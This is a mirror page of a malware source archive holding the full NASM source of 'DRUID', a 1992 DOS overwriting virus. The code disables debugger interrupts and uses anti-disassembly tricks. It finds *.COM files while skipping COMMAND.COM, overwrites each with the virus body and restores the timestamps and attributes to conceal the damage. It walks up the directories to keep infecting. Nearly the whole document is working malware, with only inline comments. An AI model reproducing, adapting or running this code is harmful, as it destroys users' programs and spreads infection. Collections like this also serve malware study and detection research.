mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-07-05 09:52:02 +00:00
139 lines
4.6 KiB
NASM
139 lines
4.6 KiB
NASM
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fname equ 9eh ; pointer to filename in DTA
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seg_a segment byte public
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assume cs:seg_a, ds:seg_a
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org 100h
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druid proc far
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vstart equ $
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start:
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mov ax,2EBh ; used to baffle sourcer...
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jmp $-2 ;
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mov dx,offset newint ; set int1 to newint
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mov ax,2501h
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int 21h
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mov al,3 ; set int3 to newint
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int 21h
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mov dx,offset newint ; do it again...
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mov ax,2501h
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int 21h
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mov al,1
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int 21h
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mov ah,47h ; get current directory
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xor dl,dl ; and save it
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lea si,currdir
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int 21h
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again:
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lea dx,fmask
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mov ah,4Eh ; Find first *.COM
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getfile:
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int 21h
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jnc found_ok ;if ok, goto found_ok
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jmp short bailout ;if no more files, goto bail out
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nop
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found_ok:
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mov si,fname ; load filename into ax
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lodsw
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cmp ax,'OC' ; if first 3 letters is "CO"
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; as in "COMMAND.COM"
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jne infect ; if not, go on
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jmp getnext ; else, get another file
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mov ax,2EBh ; used to baffle sourcer...
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jmp $-2
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infect:
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mov dx,fname ; get attribute
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mov ax,4300h ; of the file found
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int 21h
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push cx ; and save it
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xor cx,cx ; reset attributes
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mov ax,4301h
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int 21h
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mov ax,2EBh ; used to baffle sourcer...
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jmp $-2
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mov dx,fname ; open file
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mov ax,3D02h
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int 21h ; DOS Services ah=function 3Dh
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; open file, al=mode,name@ds:dx
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jc getnext ; if error, skip to loc_5
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xchg ax,bx ; get handle in bx
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mov ax,5700h ; get time'n date
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int 21h
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push dx ; save'em
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push cx
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mov ah,40h ; write virus to target
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mov cx,virlen ; number of bytes to write
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mov dx,fname ; pointer to file
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int 21h
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pop cx ; restore the date'n time
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pop dx
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mov ax,5701h
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int 21h
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mov ah,3Eh ; close target
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int 21h
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pop cx ; restore the attributes
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mov ax,4301h
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mov dx,fname
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int 21h
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getnext:
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mov ah,4Fh ; get next file matching *.COM
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jmp short getfile
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bailout:
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mov ax,2EBh ; used to baffle sourcer...
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jmp $-2
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lea dx,dot_dot ; "cd.."
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mov ah,3Bh
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int 21h
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jc exit ; if error, goto exit
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jmp short again ; do it all over again
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exit:
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mov ax,2EBh ; used to baffle sourcer...
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jmp $-2
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mov ah,3Bh ; change back to
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lea dx,return_dir ; original directory
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int 21h
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mov ax,4C00h ; quit to dos with
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int 21h ; errorlevel 0
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id db ' DRUID, coded by Morbid Angel/Line Noise -92 in Stockholm/Sweden'
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druid endp
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newint proc far ; replaces INT1 and INT3
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iret ; with this.
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newint endp
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fmask db '*.COM',0
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dot_dot db '..',0
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return_dir db '\' ; the slash is used when
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currdir dw 32 dup (?) ; returning to old dir.
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vend equ $
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virlen equ vend - vstart
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seg_a ends
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end start
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